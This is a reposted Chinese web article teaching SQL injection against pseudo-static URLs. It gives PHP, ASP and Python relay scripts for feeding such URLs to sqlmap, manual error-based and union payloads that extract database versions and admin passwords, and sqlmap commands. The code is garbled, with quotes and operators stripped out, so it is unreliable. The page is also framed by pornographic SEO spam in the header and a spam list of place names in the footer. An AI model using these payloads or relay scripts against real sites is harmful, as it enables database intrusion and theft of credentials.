国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > PHP > 正文

PHP針對偽靜態注入的解析

2020-03-22 18:29:19
字體:
來源:轉載
供稿:網友
這篇文章主要介紹了PHP針對偽靜態的注入,結合實例形式總結分析了php針對偽靜態的常見注入情況,并附帶asp與Python的相關操作代碼,對于php程序安全有一定借鑒價值,需要的朋友可以參考下

本文實例講述了PHP針對偽靜態的注入。分享給大家供大家參考,具體如下:

一:中轉注入法

1.通過http://www.xxx.com/news.php?id=1做了偽靜態之后就成這樣了
http://www.xxx.com/news.php/id/1.html

2.測試步驟:

中轉注入的php代碼:inject.php

 ?phpset_time_limit(0);$id=$_GET[ id $id=str_replace(” “,”%20″,$id);$id=str_replace(“=”,”%3D”,$id);//$url = http://www.xxx.com/news.php/id/$id.html $url = http://www.xxx.com/news.php/id/$id.html //echo $url;$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);curl_close($ch);print_r($output);? 

3.本地環境搭建PHP,然后訪問http://127.0.0.1/inject.php?id=1

通過sqlmap或者havj可以跑注入漏洞。

附錄ASP中轉代碼:

 %JmdcwName=request( id )JmStr=JmdcwNameJmStr=URLEncoding(JmStr)JMUrl= http://192.168.235.7:8808/ad/blog/ //實際上要請求的網址JMUrl=JMUrl JmStr .html //拼接urlresponse.write JMUrl JmStr //我這里故意輸出url來看 JmRef= http://127.0.0.1/6kbbs/bank.asp JmCok= JmCok=replace(JmCok,chr(32), %20 ) JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef) //url,查詢字符串,cookie,referer字段Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim HttpSet Http = Server.CreateObject( msxml2.serverXMLHTTP )With Http.Open GET ,PostUrl,False.Send ()PostData = .ResponseBodyEnd WithSet Http = NothingPostData =bytes2BSTR(PostData)End FunctionFunction bytes2BSTR(vIn) //處理返回的信息Dim strReturnDim I, ThisCharCode, NextCharCodestrReturn = For I = 1 To LenB(vIn)ThisCharCode = AscB(MidB(vIn, I, 1))If ThisCharCode H80 ThenstrReturn = strReturn Chr(ThisCharCode)NextCharCode = AscB(MidB(vIn, I + 1, 1))strReturn = strReturn Chr(CLng(ThisCharCode) * H100 + CInt(NextCharCode))I = I + 1End Ifbytes2BSTR = strReturnEnd FunctionFunction URLEncoding(vstrin) //發包前對參數的url編碼一下strReturn= Dim i vstrin=replace(vstrin, % , %25 ) 增加轉換搜索字符, vstrin=Replace(vstrin,chr(32), %20 ) 轉換空格,如果網站過濾了空格,嘗試用/**/來代替%20 vstrin=Replace(vstrin,chr(43), %2B ) JMDCW增加轉換+字符vstrin=Replace(vstrin,chr(32), /**/ ) 在此增加要過濾的代碼 //這里很關鍵,方便啊,把空格自動換成/**/,后面會說到的For i=1 To Len(vstrin)ThisChr=Mid(vstrin,i,1)if Abs(Asc(ThisChr)) HFF ThenstrReturn=strReturn ThisChrInnerCode=Asc(ThisChr)If InnerCode 0 ThenInnerCode=InnerCode + H10000End IfHight1=(InnerCode And HFF00) / HFFLow1=InnerCode And HFFstrReturn=strReturn % Hex(Hight1) % Hex(Low1)End ifURLEncoding=strReturnEnd Function% 

二、手工注入法

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2.測試注入:

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo .html
http://www.xxx.com/play/Diablo /**/and
/**/1= 1 /*.html
http://www.xxx.com/play/Diablo
/**/and
/**/1= 2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出錯

3.看頁面是否存在差異,相同則不存在,不同存在注入。

4.聯合查詢:

http://www.xxx.com/play/diablo and 1=2 union select 1,2… frominformation_schema.columns where 1= 1.html
http://www.xxx.com/page/html/?56 /**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

手工注入法(二)

http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410 union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where 1 = 1.html

注:

偽靜態的注入和URL的普通GET注入不太相同

。普通url的get注入的%20,%23,+等都可以用;但是偽靜態不行,會被直接傳遞到到url中,所以用/**/這個注釋符號表示空格。

三、SQLmap方法

在sqlmap中偽靜態哪兒存在注入點就加*
http://www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”

四、python腳本方法

代碼:

from BaseHTTPServer import *import urllib2class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): path=self.path path=path[path.find( id= )+3:] proxy_support = urllib2.ProxyHandler({ http : http://127.0.0.1:8087 }) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) url= http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/  try: response=urllib2.urlopen(url+path) html=response.read() except urllib2.URLError,e: html=e.read() self.wfile.write(html)server = HTTPServer(( , 8000), MyHTTPHandler)server.serve_forever()

以上就是本文的全部內容,希望對大家的學習有所幫助,更多相關內容請關注PHP !

相關推薦:

關于PHP中的靜態變量及static靜態變量的使用解析

PHP實現通過URL提取根域名

以上就是PHP針對偽靜態注入的解析的詳細內容,PHP教程

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 嘉定区| 巴塘县| 定州市| 县级市| 杭锦旗| 福海县| 疏勒县| 吴江市| 焉耆| 盘锦市| 马关县| 嘉兴市| 黔西| 光山县| 金寨县| 翼城县| 浪卡子县| 靖远县| 米脂县| 肃北| 武冈市| 原阳县| 巴青县| 甘孜县| 敖汉旗| 昌吉市| 盐源县| 民乐县| 连江县| 出国| 左贡县| 嘉定区| 绥滨县| 肥乡县| 华蓥市| 南城县| 汨罗市| 商水县| 潜江市| 汉阴县| 沂源县|